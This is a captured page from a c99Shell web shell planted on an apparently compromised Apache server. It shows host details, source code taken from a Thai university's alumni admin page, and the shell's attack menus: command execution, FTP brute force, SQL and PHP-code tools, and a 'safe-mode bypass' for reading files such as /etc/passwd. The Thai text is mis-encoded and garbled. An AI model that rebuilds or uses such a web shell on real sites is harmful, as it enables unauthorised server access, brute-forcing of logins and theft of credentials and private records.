!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addalumni_1.php (11.01 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//include_once "template.php";
include_once "../link/function.php";
include_once 
"../class/clsPrefix.php";
include_once 
"../class/clsNation.php";
include_once 
"../class/clsReligion.php";
include_once(
"../class/clsGeneration.php");

$oPf = new Prefix($oC2);
$oPf2 = new Prefix($oC2);
$oPf3 = new Prefix($oC2);
$oNa = new Nation($oC2);
$oRg = new Religion($oC2);
$oGn = new Generation($oC2);

include_once 
"../class/clsalumnimain.php";
include_once 
"../class/clsalumnibio.php";
include_once 
"../class/clsprogramalumni.php";

confirmSubmit();
openWindow();
$oAm = new AlumniMain($oC1);
$oAb = new AlumniBio($oC1);
$oPg_A = new Programalumni($oC1);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="602" border="0" align="center" cellpadding="0" cellspacing="1">
    <tr>
        <td>
          <label>
    <div align="center">
          <table width="602" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
              <td colspan="4"><br>
                <table width="602" border="1" cellpadding="0" cellspacing="" bordercolor="<?php echo $GLOBALS['COLOR_BORDER_TABLE_1'];?>">
<?php 
                    $oAm
->SearchByKey($alumniId);
                    
$oAm->GetRecord();
                    
                    
$oAb->SearchByKey($alumniId);
                    
$oAb->GetRecord();
                    
                    
$oPf->SearchByKey($oAm->prefixId);
                    
$oPf->GetRecord();
?>
<tr align="left"> 
                    <td height="22" colspan="4" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">àÅ¢·ÕèºÑµÃ»ÃШӵÑÇ»ÃЪҪ¹</font></td>
                    <td height="22" colspan="4"bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                      <input type="text" name="citizenId"  value="<?php echo $oAm->citizenId;?>" size="15" >
                    </td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ª×èÍ-Ê¡ØÅä·Â</font></td>
                <td height="22"  colspan="4"><input type="text" name="prefixName" value="<?php echo $oPf->prefixName;?>" size="7" class="input1" readonly>
                    <IMG src="../picture/search.gif" width="15" height="19"   border="0" align="absmiddle" id=IMG3 style="CURSOR: hand" onclick='OpenWindow("prefixTable.php",400,400)'>
                    <input type="text" name="studentName" value="<?php echo $oAm->studentName;?>" size="15">
                    <input type="text" name="studentSurname" value="<?php echo $oAm->studentSurname;?>" size="15">
                    <input type="hidden" name="prefixId" value="<?php echo $oPf->prefixId;?>">
                    </td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ª×èÍ-Ê¡ØÅ 
                      (Íѧ¡ÄÉ) </font></td>
                    <td colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                      <input type="text" name="prefixNameEng" size="10" class="input3" value="<?php echo $oPf->prefixNameEng;?>"  readonly>
                       <input type="text" name="studentNameEng"  value="<? echo $oAm->studentNameEng;?>"   size="15" >
                        <input type="text" name="studentSurnameEng" value="<? echo $oAm->studentSurnameEng ;?>"    size="15" >
                      </td>
                  </tr>
                  <?
                    $oPf2
->SearchByKey($oAb->o1prefixId);
                    
$oPf2->GetRecord();
                  
?>
                  <tr align="left"> 
                    <td colspan="4" height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ª×èÍ-Ê¡ØÅ 
                      (à´ÔÁ 1) </font></td>
                <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                  <input type="text" name="o1prefixName" value="<?php echo $oPf->prefixName;?>" size="7" class="input1" readonly>
                  <IMG src="../picture/search.gif" width="15" height="19"  class='box'  border="0" align="absmiddle" id=IMG3 style="CURSOR: hand" onclick='OpenWindow("prefixOld1Table.php",400,400)'>    
                  <input type="text" name="o1fName"  value="<? echo $oAb->o1fName;?>" size="15">
                  <input type="text" name="o1lName" value="<? echo $oAb->o1lName;?>" size="15"> 
                  <input type="hidden" name="o1prefixId" value="<? echo $oPf2->prefixId;?>" >
                  </font></td>
                  </tr>
                  <?
                    $oPf3
->SearchByKey($oAb->o2prefixId);
                    
$oPf3->GetRecord();
                  
?>
                  <tr align="left" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                    <td colspan="4" height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ª×èÍ-Ê¡ØÅ 
                      (à´ÔÁ 2) </font></td>
                    <td colspan="4" height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                            <input type="text" name="o2prefixName" value="<?php echo $oPf->prefixName;?>" size="7" class="input3" readonly>
                              <IMG src="../picture/search.gif" width="15" height="19"  class='box'  border="0" align="absmiddle" id=IMG3 style="CURSOR: hand" onclick='OpenWindow("prefixOld2Table.php",400,400)'>            
                              <input type="text" name="o2fName"  value="<? echo $oAb->o2fName;?>" size="15">
                            <input type="text" name="o2lName" value="<? echo $oAb->o2lName;?>" size="15">
                            <input type="hidden" name="o2prefixId" value="<? echo $oPf3->prefixId;?>">
                            <input type="hidden" name="o2prefixNameEng">
                      </font></td>
                  </tr>                  
                  <?
                          
if($oAm->studentSex == "F")
                            
$sex "Ë­Ô§"
                          else if(
$oAm->studentSex == "M")
                            
$sex "ªÒÂ"
                  
?>
                  <tr align="left"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">à¾È</font></td>
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      <?php echo $sex;?>&nbsp;&nbsp;ËÁÙèàÅ×Í´&nbsp;&nbsp;<input type="text" name="bloodGroup"  value="<?php echo $oAb->bloodGroup;?>" size="3" >
                    </font></td>
                  </tr>
                  <tr align="left" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ÊÑ­ªÒµÔ</font></td>
                <td height="22"  colspan="4"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><? echo $oNa->selectHTML("nationId",$oAb->nationId);?>&nbsp;&nbsp;ÈÒʹÒ&nbsp;&nbsp;<? echo $oRg->selectHTML("religionId",$oAb->religionId);?></font>
                    </td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">Çѹà¡Ô´</font></td>
                    <td colspan="4" height="22" >
                    <?    if(($oAb->birthDate == '0000-00-00') ||  ($oAb->birthDate =="")) {?> <script>DateInput('birthDate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script><? } else {?> <script>DateInput('birthDate', true, 'DD/MM/YYYY','<?php echo splitDateDb($oAb->birthDate,"/");?>');</script><?  ?>
                      </td>
                  </tr>
                  <tr align="left" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">»Õ·Õèà¢éÒÈÖ¡ÉÒ</font></td>
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><input type="text" name="admitAcadYear"  value="<?php echo $oAm->admitAcadYear;?>" size="4"> 
                      </font></td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">»Õ·Õ診¡ÒÃÈÖ¡ÉÒ</font></td>
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><input type="text" name="finishAcadYear"  value="<?php echo $oAm->finishAcadYear;?>" size="4"> 
                      </font></td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ËÅÑ¡ÊÙµÃ</font></td>
                    <td colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">
                    <? echo $oPg_A->selectHTML2("programId",$oAm->programId);?>
                      </font></td>
                  </tr>
                  <?
                            $oGn
->SearchByKey($oAm->genNo);
                            
$oGn->GetRecord();
                  
?>
                  <tr align="left"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ÃØè¹·Õè</font></td>
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><input type="text" name="genNo"  value="<?php echo $oGn->genNo;?>" size="4"> 
                      </font></td>
                  </tr>
                <tr align="left" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ÍÕàÁÅì</font></td>
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><input type="text" name="studentEmail"  value="<?php echo $oAm->studentEmail;?>" size="40" >
                      </font></td>
                  </tr>                  <tr align="left"> 
                  <td colspan="4" height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ÃÙ»</font></td>
                  <td colspan="4" height="22" >
                    <input type="file" name="uploadfile" id="uploadfile" value="<?php echo $oAb->picturePath;?>" size="50">
                    <input type="hidden" name="picturePerson" value="<?php echo $oAb->picturePath;?>">
                    </td>
                  </tr>
                  <tr align="left"> 
                  <td colspan="4" height="22" ><font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2">&nbsp;</font></td>
                  <td colspan="4" height="22"> <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>(¢¹Ò´ÃÙ»ÀÒ¾¤ÇÃÁÕ¢¹Ò´ 
                    100x115 pixels)</strong></font></td>
                  </tr>
                 </table></td>
                              </tr>
                              <tr> 
                                <td height="22" colspan="4" align="center"><br>
                                    <input type="submit" name="add" value="ºÑ¹·Ö¡¢éÍÁÙÅ">
                                    <input type="reset" name="clear" value="ź¢éÍÁÙÅ">
                                    <input type="button" name="cancel" value="¡àÅÔ¡" >
                                    <input type="hidden" name="method" value="edit">
                                    <input type="hidden" name="alumniId" value="<?php echo $alumniId;?>">
                                <input type="hidden" name="status" value="<?php echo $status;?>">    
                                </td>
                              </tr>
                            </table>                          
      </div>        
          <br><br><br><br>
        </td>
       </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.017 ]--